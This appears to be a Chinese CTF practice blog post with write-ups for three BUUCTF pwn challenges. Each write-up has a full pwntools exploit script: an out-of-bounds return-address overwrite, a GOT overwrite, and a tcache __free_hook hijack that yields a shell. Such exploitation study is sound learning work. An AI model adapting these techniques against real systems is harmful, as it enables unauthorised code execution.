BUUCTF-PWN刷題記錄-19

wustctf2020_name_your_cat（數組越界修改返回地址）

在NameWhich函數中沒有越界檢查

我們調試看一下

0xffd31214就是char v3[40]的地址

而在0xffd3124c處就存放着函數返回地址

0xffd3124c-0xffd31214=0x38
0x38/8=7
所以我們name 7 就能修改這個返回地址了

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 26926)
#r = process("./wustctf2020_name_your_cat")

DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x0804866A
	b *0x0804871B
	c
	''')
context(arch = 'i386', os = 'linux', log_level = 'debug')
system = 0x080485CB

def name(num, content):
	r.recvuntil("Name for which?\n>")
	r.sendline(str(num))
	r.recvuntil("Give your name plz: ")
	r.send(content)


name(0, 'aaa\n')
name(1, 'aaa\n')
name(2, 'aaa\n')
name(3, 'aaa\n')
name(7, p32(system) + '\n')
r.interactive()

wustctf2020_name_your_dog（數組越界修改GOT表）

題目和上一題一樣，就是這次在bss段上
自然想到修改GOT表項
scanf的GOT地址爲0x0804a028
Dogs的地址是0x0804a060

差值爲0x38
0x38/8=7

from pwn import *

r = remote("node3.buuoj.cn", 28576)
#r = process("./wustctf2020_name_your_dog")

DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x0804866A
	b *0x0804869A
	x/10wx 0x0804a00c
	c
	''')
context(arch = 'i386', os = 'linux', log_level = 'debug')
system = 0x080485CB

def name(num, content):
	r.recvuntil("Name for which?\n>")
	r.sendline(str(num))
	r.recvuntil("Give your name plz: ")
	r.send(content)



name(-7, p32(system) + '\n')
r.interactive()

ciscn_2019_c_3（繞過不能直接修改fd的限制）

add的大小被限制爲3種，並且無法控制fd

後門函數，可以對fd進行遞增操作

指針懸掛

利用思路：

1. 因爲我們可以申請0x110大小的chunk，釋放後能進入unsorted bin，所以我們add(0x100), add(0x60)，然後刪除0 八次再show就能泄露libc
2. 申請一個0x4f的chunk2，釋放兩次，此時chunk2的fd會指向該chunk的payload區域，我們利用後門函數把fd加0x10（idx爲2的chunk每次backdoor fd都會加一），這樣就能把__free_hook鏈到tcache上
   
   
3. 之後就是熟悉的套路了，不過這題應該只能用one_gadget來獲得shell

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 27292)
#r = process("./ciscn_2019_c_3")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0x1298)
	x/30gx $rebase(0x202100)
	c
	''')

elf = ELF("./ciscn_2019_c_3")
libc = ELF('./libc/libc-2.27.so')
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]

menu = "Command: \n"
def add(size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("size: \n")
	r.sendline(str(size))
	r.recvuntil("Give me the name: \n")
	r.sendline(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("weapon:\n")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("index: \n")
	r.sendline(str(index))

def backdoor(index):
	r.recvuntil(menu)
	r.sendline('666')
	r.recvuntil("weapon:\n")
	r.sendline(str(index))

add(0x100, 'chunk0')
add(0x60, 'chunk1')
for i in range(8):
    delete(0)
show(0)
r.recvuntil("attack_times: ")
malloc_hook = int(r.recvuntil('\n').strip()) - 0x60 - 0x10
libc.address  = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
one_gadget = one_gadget_18[1] + libc.address

payload = p64(free_hook)
add(0x4f, payload)
delete(2)
delete(2)
for i in range(0x10):
    backdoor(2)
add(0x4f, p64(free_hook-0x10))#3
add(0x4f, p64(free_hook-0x10))#4
add(0x4f, p64(one_gadget))#5
delete(1)

r.interactive()